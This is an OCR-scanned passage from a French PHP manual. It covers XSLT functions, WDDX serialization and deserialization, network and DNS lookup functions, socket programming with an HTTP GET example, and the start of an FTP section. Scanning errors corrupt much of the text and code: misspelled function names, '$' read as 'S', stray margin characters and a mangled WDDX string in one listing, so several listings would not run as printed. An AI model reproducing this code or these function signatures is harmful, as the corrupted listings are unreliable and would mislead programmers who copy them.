d'encodage alternatif avec xsit_set_encoding ( ) . 



xslt_set_encoding () 



Precise 1'encodage du document genere (cette fonction n'est pas disponible dans les versions 
Windows de PHP sorties jusque-la, a savoir 4.2.1). 

Syntaxe void xsl t_set_encoding (resource $analyseurXSLT, string 

$encodage) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 

xslt_create ( ) . 

$encodage Encodage choisi (ex. : "ISO-8859-1", "UTF-8", ...). 

/J) Encodages supportes en sortie 

*** La liste des encodages supportes depend de Venvironnement. Si la bibliotheque iconv 

est presente alors Sablotron supporte tons les encodages que supporte iconv. 



xslt_set_base() 



Precise l'URI de base des documents precises par un chemin relatif. 

Syntaxe void xsl t_set_base(resource $analyseurXSLT, string $baseURI) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 

xslt_create ( ) . 

$baseURI URI de base pour les chemins relatifs. 

Listing 15.25 :xslt_02.php 

<?php 

// Creation d'un nouvel analyseur XSLT 
$xslt=xslt_create() ; 

// Selection d'un encodage de sortie ISO-8859-1 
$status = xslt set encoding($xsl t, "ISO-8859-1"); 
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// Precision du chemin du repertoire de base 

$cheminAbsolu="file://".dirname( FILE ) ; 

xslt_set_base($xsl t, "$cheminAbsolu/. ./src_xml/") ; 

echo xslt_process($xslt, "mediatheque_01b.xml ", 

"mediatheque_01.xsl ") ; 

// Liberation des ressources 
xslt free($xslt) ; 



?> 



Gestion des erreurs 

II est evidemment possible a tout moment de connaitre quelle a ete la derniere erreur 
rencontree, soit sous la forme d'un code avec xsit_errno ( ) , soit sous la forme d'un message 
d'erreur en anglais avec xsit_error ( ) . 



xslt_errno() 



Retourne le code de la derniere erreur rencontree par 1'analyseur XSLT. 

Syntaxe i nt xslt_errno(resource $analyseurXSLT) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 

xslt_create ( ) . 

retour Code d'erreur. 
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xslt_error() 



Retourne le message d'erreur correspondant a la derniere erreur rencontree par 1'analyseur 
XSLT. 



Syntaxe 

$analyseurXSLT 

retour 



string sxlt_error (resource $analyseurXSLT) 

Reference sur un analyseur XSLT tel que retourne par la fonction 

xslt_create ( ) . 

Message d'erreur. 



II est egalement (en theorie) possible de faire executer sa propre fonction lorsqu'une erreur est 
rencontree. Pour cela, il faut, au prealable, declarer la fonction aupres de 1'analyseur XSLT 

avec la fonction xslt_set_error_handler ( ) . 
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xslt_set_error_handler () 



Declare aupres de l'analyseur XSLT une fonction de gestion des erreurs. 

Syntaxe void xsl t_error_handler (resource $analyseurXSLT, string 

$fonctionErreur) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 

xslt_create ( ) . 

$foncti onErreur Nom de la fonction devant gerer les erreurs. 

La fonction de gestion des erreurs ($fonctionErreur) aura la syntaxe suivante : 

Syntaxe void maFonction(resource $analyseurXSLT, int $ni veauErreur, 

int $erreur, array $info) 

$analyseurXSLT Reference sur un analyseur XSLT telle que retournee par la fonction 

xslt_create ( ) . 

$ni veauErreur Le niveau d'erreur (les niveauxPHP ?). 

$erreur On croirait le code d'erreur precedent. 

$info Tableau associatif contenant diverses informations sur l'erreur. Vous 

trouverez parmi les cles : 
"msgtype" associe alavaleur "error", 
"code" : le code d'erreur. 

"module" : le module ayant detecte l'erreur (i.e. "Sablotron"). 
"URI" : l'URI du document en cause, 
"line" : la ligne a laquelle l'erreur a ete detectee. 
"msg" : le message d'erreur. 



A Bug 

^^ Dans une precedente version testee (PHP 4.2.1 + Sablot-0.90 + Expat 1.95.2) les 
ATTENTION noms des cles etaient souvent "completes" par des signes cabalistiques. Cela semble 
desormais corrige (PHP 4.3.2 + Sablot-1.0 + Expat 1.95.6). 



Gestion des traces 

II est possible de suivre a la trace le travail de l'analyseur XSLT grace a la fonction 
xslt_set_log( ). La mise en oeuvre de ce mecanisme de trace se deroule en deux temps. 
Premier temps : autoriser les traces, et second temps : indiquer dans quel fichier stocker les 
traces (par defaut les traces vont sur la sortie stderr). 



xslt_set_log() 

Demande l'activation/T arret des traces. Indique quel fichier utiliser pour les traces. 
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Syntaxe void xslt_set_log (resource analyseurXSLT, mixed 

$onOffNomFichier) 

$analyseurXSLT Reference sur un analyseur XSLT telle que retournee par la fonction 

xslt_create ( ) . 

$onOf f NomFi chi er TRUE si vous souhaitez activer les traces, FALSE si vous souhaitez stopper 
les traces, ou bien encore nom de fichier (il ne s'agit pas ici d'une URI, 
done pas besoin de le faire preceder de "file://") vers lequel vous souhaitez 
que les traces soient redirigees. 



15.5. Generation de messages XML 
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Depuis son arrivee, XML est utilise dans de nombreux domaines. Cela devient l'element de 
base du stockage et de l'echange de l'information. Pas etonnant de voir de nouvelles normes 
apparaitre pour l'echange de messages entre serveurs. 

Parmi elles, Ton trouve la norme WDDX (Web Distributed Data Exchange, e'est-a-dire la 
norme d'echange de donnees sur le Web). Celle-ci est destinee a echanger des structures de 
donnees complexes entre les langages de programmation. 



Web services 

Le langage XML est egalement a la base de l'echange d' informations des "Web 
REMAROUE smW < 



Les messages WDDX 

Installation 
Sous Windows 

Que ce soit avec l'archive du PHP Group ou EasyPHP, le support de WDDX est active d'office. 

Sous Linux 

II suffit de recompiler PHP avec l'option de configuration " — enabie-wddx". 



RENVOI 



} Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 
compilation de PHP. 



Verification 

La encore, vous pouvez verifier que WDDX est bien active en appelant un script contenant 
<?php phpinf o ( ) ,- ?> et qui devra cette fois afficher : 
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WDDX Support 


enabled 


WDDX Session Serializer 


enabled 



Figure 15.9 : phpinfoQ 

Utilisation 

L'utilisation de la bibliotheque wddx est tres simple. Creer un paquet WDDX decrivant le 
contenu d'une variable consiste a appeler la fonction wddx_seriaiize_vaiue ( ) . 



wddx_serialize_value () 



Cree un paquet WDDX decrivant le contenu d'une variable unique. 

Syntaxe string wddx_serialize_value (mixed $variable [, string 

$commentaire]) 

$vari abl e Variable a decrire dans le paquet WDDX. 

$commentai re Commentaire a inclure dans l'attribut "comment" de la balise "header" 

du paquet WDDX. 

retour La chaine de caracteres contenant le paquet WDDX. 

Exemple d'utilisation : 

Listing 15.26 : wddxOl.php 

<?php 

include("wddx2html_inc.php") ; 

$variablel = "Du Texte"; 

$paquetWDDX = wddx_serial ize_va1ue($variablel, 

"Test avec chaTne de caracteres"); 

echo wddx2html ($paquetWDDX) ; 

echo "<br />"; 

$tab = array ("Test", 2, array("Cle"=>"Valeur")) ; 

$paquetWDDX = wddx_serial ize_value($tab, "Test avec tableau"); 

echo wddx2html ($paquetWDDX) ; 

?> 

Ce script utilise une fonction (faite maison) afin de rendre l'affichage du resultat plus lisible 
depuis un navigateur. 
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Chapitre 15 L'utilisation de XML 

Listing 15.27 : wddx2html_inc.php 

<?php 

// Retourne un paquetWDDX avec une forme 
// permettant une meilleure lecture en HTML. 

function wddx2html ($paquetWDDX) 

{ 

$resultat = ""; 
Stab = ""; 

$balises = explode("<", $paquetWDDX) ; 
for ($i=0; $i<count($balises); $i++) { 
if ($balises[$i]! = "") { 
// S'il s'agit d'une balise fermante 
// indenter un peu moins la ligne 
if (eregi(" / 7",$balises[$i])) 
$tab = substr($tab, 0, -12); 

$resultat .= $tab . htmlspecialchars("<".$bal ises[$i]) ."<br />"; 

//S'il s'agit d'une balise ouvrante 
// indenter un peu plus la ligne 
// suivante 

if ( ( ! eregi ( "7" , $bal i ses [$i ] ) ) && 
(!eregi("/>$",$balises[$i]))) 
$tab .= "  "; 
} 
} 
return $resultat; 

} 
?> 

dont voici le resultat : 

<wddxPacket version='1.0'> 

<header> 

<comment>Test avec chaine de caracteres 

</comment> 

</header> 

<data> 

<string>Du Texte 

</string> 

</data> 

</wddxPacket> 

<wddxPacket version=' 1.0'> 
<header> 

<comment>Test avec tableau 

</comment> 
</header> 
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<data> 
<array 1 ength= ' 3 '> 

<string>Test 
</string> 
<number>2 
</number> 
<struct> 
<var name='Cle'> 
<string>Valeur 
</string> 
</var> 
</struct> 
</array> 
</data> 
</wddxPacket> 

Pour creer un paquet WDDX decrivant plusieurs variables, il faut faire appel a 

wddx_serialize_vars ( ) . 



wddx_serialize_vars () 

Cree un paquet WDDX decrivant plusieurs variables. 

Syntaxe string wddx_serialize_vars (mixed $nomVariable [, mixed 

$nomVariable. . .]) 

$nomVari abl e Nom de la variable ou tableau de noms de variables. 

Listing 15.28 : wddx_02.php 

<?php 

include("wddx2html_inc.php") ; 

$tableau = array ("Test", 2, array("Cle"=>"Valeur")) ; 

$variablel = "Variable]."; 
$variable2 = "Variable2"; 
$tableauNom = array ("variable!.", "variable2") ; 

SpaquetWDDX = wddx_serial ize_vars("variablel" , "tableau", $tableauNom) ; 

echo wddx2html (SpaquetWDDX) ; 

?> 

affichera : 

<wddxPacket version='1.0'> 

<header/> 
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<data> 
<struct> 
<var name = 'variable l'> 
<string> Variable 1 
</string> 
</var> 

<var name='tableau'> 
<array length = '3 '> 
<string>Test 
</string> 
<number>2 
</number> 
<struct> 
<var name='Cle'> 
<string>Valeur 
</string> 
</var> 
</struct> 
</array> 
</var> 

<var name = 'variable l'> 
<string> Variable 1 
</string> 
</var> 

<var name='variable2'> 
<string>Variable2 
</string> 
</var> 
</struct> 
</data> 
</wddxPacket> 
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Dans ce cas, il n'est pas possible de specifier un attribut "comment". 

Si vous souhaitez specifier un attribut "comment", et surtout si vous souhaitez creer un packet 
WDDX en ajoutant les variables les unes apres les autres, vous pouvez utiliser les fonctions 

wddx_packet_start ( ) , wddx__add_vars ( ) et wddx_packet_end ( ) . 



wddx_packet_start () 

Commence un paquet WDDX. 

Syntaxe int wddx_packet_start( [string $comment]) 

$comment Commentaire a inclure dans l'attribut "comment" de la balise "header". 

retour Reference sur un paquet WDDX. 
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wddx_add_vars() 



Ajoute des variables a un paquet WDDX. 

Syntaxe void wddx_add_vars (resource $paquetWDDX, mixed $nomVariable 

[.mixed $nomVariable ...]) 

$paquetWDDX Reference sur un paquet WDDX telle que retournee par 

wddx_packet_start ( ) . 

$nomVari abl e Nom de la variable, tableau de noms de variables. 



wddx_packet_end () 

Clot et retourne le paquet WDDX. 

Syntaxe string wddx_packet_end(int $paquetWDDX) 

SpaquetWDDX Reference sur un paquet WDDX telle que retournee par 

wddx_packet_start ( ) . 

retour La chaine de caracteres contenant le paquet WDDX. 

Listing 15.29 : wddx_03.php 

<?php 

include("wddx2html_inc.php") ; 

$tableau = array ("Test", 2, array("Cle"=>"Valeur")) ; 

$variablel = "Variable!."; 
$variable2 = "Variable2"; 
$tableauNom = array ("variablel", "variable2") ; 

$refWDDX = wddx_packet_start("Mon commentaire") ; 
wddx_add_vars($refWDDX, "variablel", "tableau"); 
wddx_add_vars($refWDDX, $tableauNom) ; 
SpaquetWDDX = wddx_packet_end($refWDDX) ; 

echo wddx2html (SpaquetWDDX); 
?> 

Enfin, fort heureusement, la bibliotheque wddx ne permet pas seulement de generer des 
paquets WDDX ; elle permet aussi de les lire. Pour cela, vous disposez de la fonction 

wddx_deserialize ( ) . 
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wddx_deserialize() 

Lit un paquet WDDX. 

Syntaxe mixed wddx_deserial ize (string $paquetWDDX) 

$paquetWDDX Paquet WDDX a lire. 

retour Retourne, selon les cas, un nombre, une chaine de caracteres, un tableau 

associatif ayant pour cle le nom de la variable et pour valeur la valeur de la 
variable. Ce tableau pourra etre tres simplement converti en une serie de 
variables grace a la fonction extract () presentee dans le chapitre 
concernant les tableaux. 

Listing 15.30 : wddx_04.php 

<?php 

echo "<b>Deserial isation d'un paquet WDDX de type tableau "; 
echo "(issu des exemples precedents)</b>"; 
echo "<br />"; 
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$paquetWDDX = 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 



<wddxPacket version =l 1.0'>"; 

<headerxcomment>Mon commentai re</commentx/header>" ; 

<dataxstruct>"; 

<var name= ' vari abl el ' xstri ng>Vari abl el</stri ngx/var>" 

<var name=' tableau 'xarray 1 ength= ' 3 ' >" ; 

<stri ng>Test</stri ngxnumber>2</number>" ; 

<struct>"; 

<var name= 'Cle' xstri ng>Val eur</stri ngx/var>" ; 

</struct>"; 

</arrayx/var>"; 

<var name= ' vari abl el ' xstri ng>Vari abl el</stri ngx/var>" 

<var name= ' vari abl e2 ' xstri ng>Vari abl e2</stri ngx/var>" 

</structx/datax/wddxPacket>" ; 



$tableauWDDX = wddx_deserial ize($paquetWDDX) ; 

if (is_array($tableauWDDX)) extract ($tabl eauWDDX) : 

echo "variablel = $variablel<br />"; 

echo "tableau = "; 

print_r($tableau) ; 

echo "<br/>"; 

echo "vari abl e2 = $variable2<br />"; 



echo "<b>Cas d'une variable de type chaine de caracteres</bxbr />" 
$paquetWDDX = wddx_serial ize_val ue("Texte") ; 
echo wddx_deserial ize($paquetWDDX) ."<br />"; 

echo "<b>Cas d'une variable de type nombre</bxbr />"; 
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$paquetWDDX = wddx_serial ize_val ue(12) ; 
echo wddx_deserialize($paquetWDDX) ."<br />" 



aura bien l'effet attendu, en retournant : 

Deserialisation d'un paquet WDDX de type tableau (issu des exemples precedents) 

variable 1 = Variable 1 

tableau = Array ( [0] => Test [1] => 2 [2] => Array ( [Cle] => Valeur ) ) 

variable2 = Variable2 

Cas d'une variable de type chaine de caracteres 

Texte 

Cas d'une variable de type nombre 

12 
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Reseau 



16.1. Fonctions reseau (de base) 

16.2. Reseau 

Les fonctions presentees dans ce chapitre ne permettent pas de reels developpements, mais 
constituent une "trousse a outils" parfois necessaire dans la manipulation d'informations reseau 
(comme ce peut etre le cas, par exemple, avec l'utilisation des sockets). Elles ne necessitent 
aucune installation particuliere. 

Adresses IP et DNS 

L'operation la plus souvent sollicitee est certainement celle qui consiste a determiner l'adresse 
IP d'une machine lorsque Ton ne connait que son nom. Pour cela, vous disposez de la fonction 

getHostByName ( ) . 



getHostByName() 

Retourne l'adresse IP de la machine precisee par son nom. 

Syntaxe string getHostByName (string $nomMachine) 

$nomMachine Nom de la machine. 

retour Adresse IP de la machine, ou $nomMachine si aucune adresse IP n'a pu 

etre trouvee. 

Ainsi, le code suivant : 

<?php 

echo getHostByName("localhost") ; 
?> 

retournera tres probablement : 

127.0.0.1 S - « 

g° ST 



Alors que : 



CD 



l£5 



<?php 2. ^ 5 

echo getHostByName("www. php.net") ; ■ -"° ^ 

?> Tl CD 



CO 

-D 



retournera une adresse IP publique comme, par exemple, 
208.210.50.161 
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II est egalement possible de realiser l'operation inverse, a savoir recuperer un nom de machine 
a partir de son adresse IP grace a getHostByAddr ( ) . 











Q. 




u> 


1— 




03 


Ll_ 




■o 






c 


eu 


o 


_o 


1= 


"5 


To 


3= 


n 


03 




Q. 


C3) 


GO 
03 


«s 


GC 




o 


_l 


o 
o 


GO 


<r> 


o 






o 
a. 





getHostByAddr() 



Retourne un nom de machine associe a l'adresse IP precisee (tel qu'on le trouve dans le fichier 
I etc /hosts des sytemes UNIX/Linux). 

Syntaxe string getHostByAddr (string $adresseIP) 

$adresseIP Adresse IP de la machine. 

retour Nom associe a la machine, ou $adresselP si aucun nom n'a pu etre 

trouve. 

Le code suivant : 

<?php 

echo getHostByAddr("127.0.0.1"); 
?> 

pourra retourner : 

1 ocal domai n . 1 ocal host 

On notera au passage que l'operation n'est pas necessairement reversible. Si 
getHostByName( "locaihost" ) retourne "127.0.0.1" cela n'implique pas que 
getHostByAddr ( "127 .0 .0.1" ) retourne "locaihost". En effet, une machine peut avoir 
plusieurs noms (via des alias), et c'est done le nom principal qui est retourne par 

getHostByAddr ( ) . 

De meme, une unique machine peut posseder plusieurs adresses IP. Pour en determiner la liste, 

VOUS pouvez faire appel a getHostByNameL ( ) . 



getHostByNameLQ 



Retourne la liste des adresses IP de la machine precisee par son nom. 

Syntaxe array getHostByNameL ($nomMachine) 

$nomMachine Nom de la machine. 

retour Tableau indexe des adresses IP de la machine, ou FALSE si aucune adresse 

IP n'a pu etre trouvee. 

PHP dispose de fonctions permettant de convertir des adresses IP precisees sous la forme 
"classique" xxx.xxx.xxx.xxx en adresses sous la forme d'entiers, et reciproquement. 
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ip2long() 

Convertit une adresse IP du format "xxx.xxx.xxx.xxx" en un entier. 
Syntaxe : int i p21 ong (string $adresseIP) 

$adresseIP Adresse IP au format "xxx.xxx.xxx.xxx". 

retour Adresse IP sous forme d'un entier. 



JK Entier signe ou non 

^^\ Un simple echo du resultat fourni par ip2longpeut conduire a I'affichage d'un entier 
ATTENTION negatif Or celui-ci est theoriquement non signe. II est done preferable defaire appel 

a printf ( "%u" , ip21ong ($adresseIP) ). 



long2ip() 

Convertit une adresse IP d'entier au format "xxx.xxx.xxx.xxx". 
Syntaxe int ip21 ong (string $adresseIP) 

$adresseIP Adresse IP sous forme d'un entier. 

retour Adresse IP au format "xxx.xxx.xxx.xxx". 

Dans certaines circonstances, comme par exemple pour determiner si une adresse e-mail a des 
chances d'etre valide, il peut etre utile de determiner si le nom de domaine indique existe, ou, 
plus precisement, verifier si ce nom est connu du DNS. 



DNS 

DNS sont les initiates anglaises de "Domain Name Server", autrement dit "Serveurde 
nom de domaine". En deux mots, ce serveur contient les tables de correspondances 
qui permettent de retrouver une machine (ou son adresse IP) a partir de son nom. 
Vous trouverez plus d 'informations sur le site Internet : 
http://www.nic.fr/guides/dns-intro. 

Pour tester la presence d'un nom de machine aupres du DNS vous ferez appel a 

checkDNSRR ( ) . 



checkDNSRR() (non disponible sous Windows) 

Teste la presence d'un nom de machine ou d'une adresse IP aupres du DNS. Notez que dans la 
version 5 de PHP, cette fonction est baptisee DNS_check_record( ) (tout en assurant la 
compatibilite). 



REMARQUE 
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Syntaxe boolean checkDNSRR(string $nomMachine [, string $type]) 

$nomMachi ne Nom de la machine ou adresse IP. 

$type Precise le type d'entree recherchee (par defaut MX) : 

A (Address = Adresse) : une simple adresse. 

CNAME (Cannonical Name = Nom canonique) : un alias. 

MX (Mail eXchanger = Distributers de courrier) : machine permettant la 

reception de mails. 

NS (Name Server = Serveur de nom) : un serveur de nom. 

PTR (Pointer = Pointeur) : un renvoi sur une autre machine. 

SOA (Start Of Authority) : une zone. 

ANY : l'ensemble des options precedentes. 

retour TRUE si la machine est connue du DNS (pour le type precise), FALSE 

sinon. 

Voici done une petite fonction permettant non pas de verifier la validite d'une adresse e-mail, 
mais de debusquer certaines adresses manifestement non valides. 

<?php 

function testEmail ($email) 

{ 

$domaine = strstr($email , '@'); 
return checkdnsrr($domaine, 'MX'); 

} 

$email = "damien@toutestfacile.com"; 

if (testEmail ($email)) { 

echo "Je ne peux pas assurer que cette adresse email est valide ". 
"mais elle n'est pas total ement farfelue"; 
} else { 

echo "Pfuuu... C'est n'importe quoi cet email, ". 

"jamais je ne pourrai envoyer d 1 email a cette adresse"; 

} 
?> 

Pour ce qui concerne les entrees MX du fichier de configuration du DNS, il est possible d'en 
savoir un peu plus grace a la fonction getMXRR ( ) . 



its getMXRR() (Non disponible sous Windows) 
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Retourne la liste des machines enregistrees aupres du DNS pour la gestion des mails. Notez 
que dans la version 5 de PHP, cette fonction est baptisee DNS_get_mx ( ) (tout en assurant la 
compatibilite). 

Syntaxe boolean getMXRR(string $nomMachine, array &$machines [, array 

&$poids]) 

$nomMachine Nom de la machine. 

$machines Reference sur une variable dans laquelle sera copie un tableau indexe 

contenant les noms des machines devant "router" les mails. 



1268 



Reseau 



$poids Reference sur une variable dans laquelle sera copie un tableau indexe 

contenant les poids associes aux machines. Les mails seront 
prioritairement "routes" par la machine de plus faible poids. 

retour TRUE si la machine est connue du DNS, FALSE sinon. 



Protocoles et services 

PHP propose egalement des fonctions permettant de recuperer des informations plus 
intimement liees au serveur. 

II est, par exemple, possible de connaitre le port associe a un service ou, inversement, de 
retrouver le nom d'un service a partir de son numero de port. 



getServByNameQ 



Retourne le port associe au service donne. 

Syntaxe int getServByName (string $service, string $protocole) 

$servi ce Nom du service (ex. : "ftp", "http", ...) 

$protocol e Nom du protocole ("tcp" ou "udp"). 

retour Numero de port, ou FALSE en cas d'echec. 



getServByPort() 

Retourne le nom du service associe au port donne. 

Syntaxe int getServByPort (string $port, string $protocole) 

$ port Numero du port. 

$protocol e Nom du protocole ("tcp" ou "udp"). 

retour Nom du service, ou FALSE en cas d'echec. -a 

O — L 
o ?" 

Ainsi, pour connaitre le port associe au service FTP, ou le nom du service associe au port 80, ^ o ,_ 

O 2. o> 



Ton pourra utiliser le script suivant : 
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<?php 2. ^ 5' 

echo getServByName("ftp", "tcp")."<br />"; P tj = 

echo getServByPort(80, "tcp"); -n m 

?> ."° 

ce qui retournera (probablement) : 

21 
http 
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II est egalement possible de connaitre le numero associe a un protocole ou, inversement, de 
retrouver le nom d'un protocole a partir de son numero. 
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getProtoByNameQ 



Retourne le numero associe a un nom de protocole (tel qu'on le trouve dans le fichier 
I etc /protocols des systemes UNIX/Linux). 

Syntaxe int getProtoByName (string $nomProtocole) 

$nomProtocole Nom du protocole. 

retour Numero du protocole, ou -1 s'il n'existe pas. 



getProtoByNumber () 



Retourne le nom associe a un numero de protocole (tel qu'on le trouve dans le fichier 
I etc I protocols des systemes UNIX/Linux). 

Syntaxe int getProtoByNumber (string $numeroProtocole) 

$numeroProtocol e Numero du protocole. 

retour Nom du protocole, ou FALSE s'il n'existe pas. 

Voici un exemple d'utilisation. 
Le script suivant : 

<?php 

echo getProtoByName("tcp") ."<br />"; 

echo getProtoByNumber(62) . "<br />"; 

?> 

pourra retourner : 

6 
cftp 



16.3. Les sockets 



Pour communiquer directement avec un service d'une machine donnee, vous serez peut-etre 
amene a utiliser les sockets. Vous pouvez ainsi communiquer directement avec un serveur FTP, 
HTTP, NNTP (newsgroup), etc , et maitriser plus finement les operations que si vous utilisiez 
les commandes de plus haut niveau (plus couramment utilisees). 

Le principe d'utilisation est simple et se deroule en quatre grandes etapes : 
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Ouverture de la connexion ; 
Configuration de la connexion ; 
■ Lecture/ecriture sur la socket ; 
Fermeture de la connexion. 

Un exemple d'application est donne a la fin de ce sous-chapitre. 

Ouverture de la connexion 

L'ouverture d'une connexion se fait via la fonction f Sockopen ( ) . 



fSockOpen() 

Ouvre une connexion sur une socket. 

Syntaxe resource fSockOpen (string $serveur, int $port [, int 

&$codeErreur [, string &$msgErreur [, double 
$delai Expiration]]]) 

$serveur Nom du serveur sur lequel doit se porter la connexion (eventuellement 

precede de "udp://" pour une connexion UDP). 

$port Numero du port sur lequel etablir la connexion. 

$codeErreur Reference sur une variable dans laquelle sera copie le code d'erreur leve. 

$msg Er reu r Reference sur une variable dans laquelle sera copie le message d'erreur leve. 

$delai Expiration Delai (en secondes) au-dela duquel la tentative de connexion doit etre 
abandonnee (par defaut 60 secondes). 

retour Identifiant de connexion a la socket, ou FALSE en cas d'erreur. 

La fonction f Sockopen ( ) possede un equivalent permettant l'ouverture d'une connexion 
persistante (nous n'avons pas verifie le caractere persistant et reutilisable de la connexion). II 
s'agit de la fonction pFSockOpen ( ) , qui possede exactement la meme syntaxe que 

fSockOpen() . 
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Configuration de la connexion ° sT £ 

II est possible de jouer sur deux parametres de connexion : m — i = 

P ^ = 

■ Le mode de lecture bloquant ou non ; 

■ Le delai d'expiration (timeout) de la socket. 

La lecture est dite en mode bloquant si la fonction de lecture doit attendre qu'un message lui 
soit adresse pour "rendre la main" au programme. Dans le cas contraire, elle est dite non 
bloquante, et la fonction de lecture retourne simplement le contenu de la memoire tampon 
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(espace stockant les messages nouvellement recus) qui pourra eventuellement etre vide (si le 
message n'est pas encore arrive). 

Par defaut, en l'absence d'appel a la fonction socket_set_blocking { ) , le mode de lecture est 
bloquant. 
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socket_set_blocking () 



Determine si le mode de lecture de la socket doit etre ou non bloquant. 

Syntaxe boolean socket_set_blocking (resource $idSocket, boolean 

$modeLecture) 

$i dSocket Identifiant de la socket tel que retourne par f sockopen ( ) . 

$modeLecture TRUE si le mode de lecture doit etre bloquant, FALSE sinon. 

retour FALSE en cas d'echec, TRUE sinon. 

La duree de vie de la connexion a la socket peut etre limitee par la fonction 

socket_set_timeout ( ) . 



socket_set_timeout () 

Determine la duree de vie maximale de la socket. 

Syntaxe boolean socket_set_timeout (resource $idSocket, int $secondes, 

int $microsecondes) 

$idSocket Identifiant de la socket tel que retourne par f sockopen ( ) . 

$secondes Partie "secondes" de la duree de vie de la socket exprimee en 

"secondes:microsecondes". 

$microsecondes Partie "microsecondes" de la duree de vie de la socket exprimee en 
"secondesimicrosecondes". 

retour FALSE en cas d'echec, TRUE sinon. 

Lecture/ecriture sur la socket 

La lecture et l'ecriture sur la socket s'effectuent a l'aide des fonctions qui ont deja ete vues dans 
le chapitre relatif aux fichiers. 

Vous pourrez ainsi utiliser fGets ($idSocket, $nbOctets) ; pour lire jusqu'a $nbOctets 
octets sur la socket, fputs ($idSocket, $chaine) ; pour envoyer au serveur une chaine de 
caracteres via la socket, ou encore fEOF($idSocket) ; pour tester si la fin de fichier (fin 
d'emission) a ete atteinte. 
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Fermeture de la connexion 

Le fermeture de la connexion s'opere exactement de la meme facon que celle d'un fichier, 
c'est-a-dire par la commande f Close ($idSocket) . 

Informations sur la connexion 

Pour connaitre l'etat d'une socket, vous pouvez faire appel a la fonction 

socket_get_status ( ) . 



socket_get_status () 

Retourne quelques informations sur l'etat de la socket. 

Syntaxe array socket_get_status (resource $idSocket) 

$idSocket Identifiant de la socket tel que retourne par f sockopen( ) . 

retour Tableau associatif possedant les cles : 

"t ime_out" associee a une valeur de type booleen precisant si la duree de 

vie de la socket a expire ou non. 

"blocked" associee a une valeur de type booleen precisant si la lecture sur 

la socket se fait en mode bloquant ou non. 

"eof " associee a une valeur de type booleen precisant si un indicateur de 

fin de fichier a ete detecte ou non. 

"unread_bytes" associee a une valeur de type entier precisant le 

nombre d'octets actuellement dans la memoire tampon de lecture de la 

socket. 

Application 

Pour mettre en place une communication via une socket, l'essentiel est de bien connaitre le 
langage de communication avec le serveur. Si vous avez concu votre propre serveur, vous savez 
certainement comment il fonctionne... autrement, il faut se referer aux specifications. 

Dans le cas d'un serveur HTTP, le principe est assez simple et a ete evoque dans le chapitre 
En-tetes. 



Vous pouvez vous reporter a I 'annexe "Les en-tetes" pour plus de details. 
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RENVOI - a. 

Pour recuperer un document via la methode get, il suffit de lui envoyer les instructions "get Zj g? 

<nom du documents HTTP/<norme http>", et, dans le cas de la norme 1.1, il faut au minimum 
communiquer l'en-tete Host. Pour recuperer la page d'accueil d'un site, il faudra done, par 
exemple, envoyer les instructions suivantes : 

GET / HTTP/1.1 
Host: localhost 
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ce qui nous donne le script suivant : 

Listing 16.1 : sockel_01.php 

<?php 

// Exemple de recuperation d'un document via HTTP 
// en utilisant directement les sockets. 

$serveur = "www.gnu.org"; 
$document = "/"; 

echo "<b>Lecture de $serveur$document</bxbr />"; 

$idSocket = fSockOpen($serveur, 80, $codeErreur, $msgErreur); 
if (!$idSocket) { 

echo "La connexion via la socket a echouee.<br />"; 

echo "Code d'erreur: $codeErreur<br />"; 

echo "Message d'erreur: $msgErreur<br />"; 

die(); 



// Configuration de la connexion 
// en mode bloquant 
// et avec un timeout de 5 minutes 
socket_set_blocking($idSocket, TRUE) ; 
socket set timeout($idSocket, 5, 0) ; 



// Envoi de donnees au serveur 

fputs($idSocket, "GET $document HTTP/1. l\r\n") ; 

fputs($idSocket, "Host: local host\r\n") ; 

fputs($idSocket, "\r\n"); // Marque la fin de l'en-tete 

// Lecture de la reponse 
while (!feof($idSocket)) { 

$donnees = fgets($idSocket, 512); 

echo "<xmp>$donnees</xmp>"; // Affichage du code source 
} 



?> 



qui fournira, par exemple, le resultat suivant (debut de la reponse uniquement) : 

Lecture de www.gnu.org/ 

HTTP/1.1 200 OK 

Date: Tue, 28 May 2002 15:39:34 GMT 

Server: Apache/1.3.24 (Unix) Debian GNU/Linux mod_python/2.7.8 Python/1.5.2 

Last-Modified: Fri , 24 May 2002 17:51:38 GMT 

ETag: "1088107-2e6e-3cee7daa" 

Accept-Ranges: bytes 

Content-Length: 11886 

Content-Type: text/html 
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<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final //EN"> 

<HTML> 

<HEAD> 

<TITLE>GNU's Not Unix! - the GNU Project and the Free Software Foundation 

(FSF)</title> 

<META HTTP-EQUIV="Keywords" 

CONTENT="GNU, FSF, Free Software Foundation, Linux, Einacs, GCC, Unix, 
Free Software, Operating System, GNU Kernel, HURD, GNU HURD"> 
<META HTTP-EQUIV="Description" 

CONTENT="Since 1983, developing the free Unix-like operating system GNU, 

Comme vous pouvez le constater, nous recuperons ainsi non seulement le code source HTML 
de la page, mais egalement l'en-tete retourne par le serveur (le debut du code source se 
trouvant juste apres la premiere ligne laissee vide). 

L'utilisation des sockets permet ici de recuperer l'en-tete retourne par le serveur (et ainsi, par 
exemple, de verifier le "Content-type"), mais aussi de preciser notre propre en-tete de requete 
(en utilisant par exemple le "User-agent" d'Internet Explorer ou de Mozilla, et en testant 
differentes valeurs pour "Accept-Language", etc.). 



16.4. FTP 

Les fonctions de la bibliotheque ftp permettent d'acceder en tant que client a un serveur FTP. 



Installation 

Sous Windows 

Que ce soit avec l'archive du PHP Group ou avec EasyPHP, les fonctions FTP sont integrees 
a PHP. 



Sous Linux 

Vous devrez recompiler PHP avec l'option — enabie-f tp (avec les versions 3 de PHP, il 
s'agissait de l'option — with-ftp). 



Verification 

Pour verifier que le support FTP est active, appelez un script contenant <?php phpinf o ( ) ; ?>. 
Celui-ci doit alors laisser apparaitre : 



o — L 

g° ST 

- CO 



y Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 

facon de compiler PHP. =■ -3 g 

RENVOI " -" D = 



Tl CD 
—I V) 
-D 
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ftp 



Figure 16.1 : 

